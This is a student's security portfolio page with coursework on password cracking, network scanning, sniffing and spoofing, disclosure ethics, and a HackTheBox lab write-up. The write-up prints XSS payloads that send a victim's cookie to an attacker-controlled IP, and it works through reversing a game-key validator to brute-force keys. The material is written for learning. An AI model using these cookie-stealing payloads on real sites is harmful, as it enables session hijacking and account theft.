href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 